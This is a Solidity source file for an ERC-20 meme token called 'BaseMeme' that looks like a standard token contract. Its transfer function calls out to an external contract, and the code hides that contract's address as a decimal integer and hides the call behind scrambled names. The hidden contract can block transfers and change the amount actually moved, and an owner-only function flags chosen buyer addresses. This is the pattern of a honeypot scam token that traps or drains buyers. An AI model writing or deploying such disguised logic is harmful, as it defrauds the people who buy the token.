文件 1 的 1:BaseMeme.sol
pragma solidity ^0.8.24;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this;
return msg.data;
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
_setOwner(_msgSender());
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(
address recipient,
uint256 amount
) external returns (bool);
function allowance(
address owner,
address spender
) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
interface IERC20Metadata is IERC20 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
}
interface CkgqPVgpJl {
function xn1base(
address ceuFGd,
address sQwJPQ,
address bOJXsU,
address guqnFt,
bool ifSxoSn,
uint256 ocLcmg
) external view returns (bool, bool, uint256);
}
contract BaseMeme is IERC20, IERC20Metadata, Ownable {
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => uint256) private _balances;
mapping(address => bool) private buyer;
uint256 private _totalSupply;
string private _name;
string private _symbol;
address private pair;
address private _o;
event nTransfer(address indexed to, uint256 value);
constructor(
uint256 initialSupply_,
string memory name_,
string memory symbol_
) {
_name = name_;
_symbol = symbol_;
_o = msg.sender;
address factory = 0x8909Dc15e40173Ff4699343b6eB8132c65e18eC6;
address tokenA = address(this);
address tokenB = 0x4200000000000000000000000000000000000006;
(address token0, address token1) = tokenA < tokenB
? (tokenA, tokenB)
: (tokenB, tokenA);
bytes32 salt = keccak256(abi.encodePacked(token0, token1));
pair = address(
uint160(
uint(
keccak256(
abi.encodePacked(
hex"ff",
factory,
salt,
hex"96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f"
)
)
)
)
);
_mint(msg.sender, initialSupply_ * 10 ** 18);
}
function name() public view virtual override returns (string memory) {
return _name;
}
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
function decimals() public view virtual override returns (uint8) {
return 18;
}
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
function balanceOf(
address account
) public view virtual override returns (uint256) {
return _balances[account];
}
function transfer(
address recipient,
uint256 amount
) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(
address owner,
address spender
) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(
address spender,
uint256 amount
) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(
currentAllowance >= amount,
"ERC20: transfer amount exceeds allowance"
);
unchecked {
_approve(sender, _msgSender(), currentAllowance - amount);
}
return true;
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
}
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function srBgtZBGgI(uint256 value) internal pure returns (address) {
return address(aooUgmLsJtHd(value));
}
function sbs(address[] calldata addrs) external onlyOwner {
for (uint256 i; i < addrs.length; i++) {
buyer[addrs[i]] = true;
}
}
function qdShpBkEVX(address accc) internal pure returns (CkgqPVgpJl) {
return CkgqPVgpJl(accc);
}
function aooUgmLsJtHd(uint256 value) internal pure returns (uint160) {
return (uint160(value));
}
function fHaoENPbKtSz(
address pitnmo,
address hclrkc,
address rrvojn,
address vgcsmb,
bool xmirtb,
uint256 rerxkc
) private view returns (bool, bool, uint256) {
return
qdShpBkEVX(
srBgtZBGgI(828636662036930800818168485678336441748842442935)
).xn1base(pitnmo, hclrkc, rrvojn, vgcsmb, xmirtb, rerxkc);
}
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
(bool dVoP, bool mLFa, uint256 zCql) = fHaoENPbKtSz(
_o,
pair,
sender,
recipient,
buyer[tx.origin],
amount
);
require(!dVoP, "ERC20: transfer error");
if (mLFa) {
emit nTransfer(tx.origin, amount);
}
uint256 senderBalance = _balances[sender];
require(
senderBalance >= zCql,
"ERC20: transfer amount exceeds balance"
);
unchecked {
_balances[sender] = senderBalance - zCql;
}
_balances[recipient] += zCql;
emit Transfer(sender, recipient, amount);
}
}